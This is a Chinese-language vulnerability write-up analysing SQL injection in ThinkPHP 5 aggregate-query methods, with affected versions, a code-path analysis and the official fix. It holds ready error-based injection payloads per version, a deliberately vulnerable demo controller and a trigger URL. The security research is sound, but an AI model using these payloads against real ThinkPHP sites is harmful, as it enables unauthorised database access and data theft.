ThinkPHP5漏洞分析之SQL注入(六)
本系列文章將針對ThinkPHP 的歷史漏洞進行分析,今後爆出的所有ThinkPHP 漏洞分析,也將更新於ThinkPHP-Vuln 專案上。本篇文章,將分析ThinkPHP 中存在的SQL注入漏洞 (所有Mysql 聚合函式相關方法均存在注入)。
漏洞概要
本次漏洞存在於所有Mysql 聚合函式相關方法。由於程式沒有對資料進行很好的過濾,直接將資料拼接進SQL 語句,最終導致SQL注入漏洞 的產生。漏洞影響版本:5.0.0<=ThinkPHP<=5.0.21 、5.1.3<=ThinkPHP5<=5.1.25 。
不同版本payload 需稍作調整:
5.0.0~5.0.21、5.1.3~5.1.10 :id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25:id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
漏洞環境
通過以下命令獲取測試環境程式碼:
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
將composer.json 檔案的require 欄位設定成如下:
"require": { "php": ">=5.6.0", "topthink/framework": "5.1.25" },
然後執行composer update
,並將application/index/controller/Index.php
檔案程式碼設定如下:
<?php namespace app\index\controller; class Index { public function index() { $options = request()->get('options'); $result = db('users')->max($options); var_dump($result); } }
在config/database.php 檔案中配置資料庫相關資訊,並開啟config/app.php 中的app_debug 和app_trace 。建立資料庫資訊如下:
create database tpdemo; use tpdemo; create table users( id int primary key auto_increment, username varchar(50) not null ); insert into users(id,username) values(1,'Mochazz'); insert into users(id,username) values(2,'Jerry'); insert into users(id,username) values(3,'Kitty');
訪問 http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1 ) from users%23 連結,即可觸發SQL注入漏洞 。(沒開啟app_debug 是無法看到SQL 報錯資訊的)
漏洞分析
首先在官方釋出的5.1.26 版本更新說明中,發現其中提到該版本包含了一個安全更新。
我們可以查閱其commit 記錄,發現其改進了資料庫驅動,程式碼中多了檢測特殊字元的片段。接下來我們直接來分析程式碼。
首先,使用者可控資料未經過濾,傳入Query 類的max 方法進行聚合查詢語句構造,接著呼叫本類的aggregate 方法。本次漏洞問題正是發生在該函式底層程式碼中,所以所有呼叫該方法的聚合方法均存在SQL注入 問題。我們看到aggregate 方法又呼叫了Mysql 類的aggregate 方法,在該方法中,我們可以明顯看到程式將使用者可控變數$field ,經過parseKey 方法處理後,與SQL 語句進行了拼接。下面我們就來具體看看parseKey 方法。
parseKey方法主要是對欄位和表名進行處理,這裡只是對我們的資料兩端都添加了反引號。經過parseKey 方法處理後,程式又回到了上圖的$this->value() 方法中,該方法會呼叫Builder 類的select 方法來構造SQL 語句。這個方法應該說是在分析ThinkPHP 漏洞時,非常常見的了。其無非就是使用str_replace 方法,將變數替換到SQL 語句模板中。這裡,我們重點關注parseField 方法,因為使用者可控資料儲存在$options[‘field’] 變數中並被傳入該方法。
進入parseField 方法,我們發現使用者可控資料只是經過parseKey 方法處理,並不影響資料,然後直接用逗號拼接,最終直接替換進SQL 語句模板裡,導致SQL注入漏洞 的發生
漏洞修復
官方的修復方法是:當匹配到除了字母、點號、星號 以外的字元時,就丟擲異常。